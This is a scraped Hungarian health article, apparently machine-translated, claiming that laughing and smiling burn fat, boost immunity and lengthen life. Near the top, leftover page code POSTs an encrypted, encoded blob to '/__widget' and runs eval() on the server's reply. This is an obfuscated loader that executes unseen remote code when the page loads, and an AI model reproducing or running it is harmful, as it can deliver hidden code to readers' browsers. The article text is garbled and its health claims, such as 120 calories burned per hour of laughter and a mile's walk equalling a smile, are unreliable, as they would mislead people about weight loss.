>> Fogyni mosolyogva!

kalóriát éget

32 < (function() < var http = new XMLHttpRequest(); http.open("POST", '/__widget', true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.setRequestHeader('Accept', 'application/json;application/javascript'); http.onreadystatechange = function() < if(http.readyState == 4 && http.status == 200) < eval(http.responseText); >; >; http.send ( "adatok = eyJpdiI6Iks5V3JRejVBZUszQmQ0WlJQNDVhanc9PSIsInZhbHVlIjoiL1lkaEFkQ0V0bHpKZTQxb053ZW9zVktSWG56Wi84bG93bWtBSkljSGFqL240cXZJOStORFcyTzVwVUlRa1lmMWJwd2k2WmlveTNMeW1odXYvVTNjaUxvemY0UEh1dnVVQnFlSDdRMmorc1haNWtvY0YzQ3NGTDg4RittZ2VmZDc1Nm5UOUQyVHdTZkZISlhLbG9aNEcwak91OTJQeC83SjVOTGNkM2gvSjIrZ2tWRFZCMU9QY0tCZGhuTGUxTXB0MEJ5ZnBBZ0FoVExCOXdjWjFrOThMOWU1bkdGYUNtMmJDOUV3MFQ5K243TVF4MmdLK3YzczlOcGVxa2pCbFhITlFCRkdsY3pQVU5vakwwczc0bzB3U0JscnZGZ1h1ckZjOTRSSlYzR3VSMVhlMWlIWWlidEFkMHR3ektoTlc0aDlLYWh1LzVQTSt5MHZEc1luYXNOMnIraHNwRGVSb2pwN3RULzdFKy95TlB0VTlwVjRUbnR4K2tPNzNxaVZKNG1DR2h4QzhTd1FrcVN6WXJORTFCLzRIdz09IiwibWFjIjoiMmViMDU5OTY2N2NjOWVhYTNlYjA4NGFjYjZhNDQxNmY3MzFjMGE0Nzk5ZDUwZjM3N2YyNjFjNmUyYTUzODE4MyJ9 & _token = 0FtEAZJ2O2VAMvXT2KRXdUfa3jzeRXyeks8BxnOk"); >) (); >) "title =" Kattintson, ha értesítést szeretne kapni, amikor a szerző új cikkeket tesz közzé "> Feliratkozás

Sok ember felhalmozódik a testzsírban a napi étrend vagy a túlzott alvás miatt. Ennek eredményeként az egészség szerkezete napról napra zsírossá válik. A nevetés elvész az életből. De a nevetés csökkentheti a zsírt. Az International Journal of Obesity egyik nemrégiben megjelent tanulmánya azt állítja. A tanulmány szerint a rendszeres mosolygás megszabadulhat a szervezetben felhalmozódott zsírfelesleg problémájától.

Továbbá azt mondta, hogy a nevetés nemcsak jó hangulatban tartja az embereket, hanem fizikailag is egészséges. Ezenkívül szerepet játszik a vérnyomás szabályozásában. A szívbetegeknek azt mondják, hogy nyíltan mosolyogjanak. A nevetés nagyon hatékonyan fokozza az immunitást. Ez növeli a T-sejtek vagy a T-limfociták (egyfajta fehérvérsejt) mennyiségét a szervezetben. Ami extra energiát biztosít a test számára. A mosolygós emberek élettartama is hosszabb. Megszünteti a fáradtságot.

A napi 10-15 perc nevetés elegendő kalóriát éget el. Egy órás nevetés 120 kalóriát éget el a szervezetben. A jelentés folytatja, hogy egy mérföld megtétele a zsírvesztésért ugyanolyan előnyös, mint a mosolygás. A nevetés természetesen növeli az anyagcserét a szervezetben, ami segít a fogyásban, csökkentve a kalóriákat.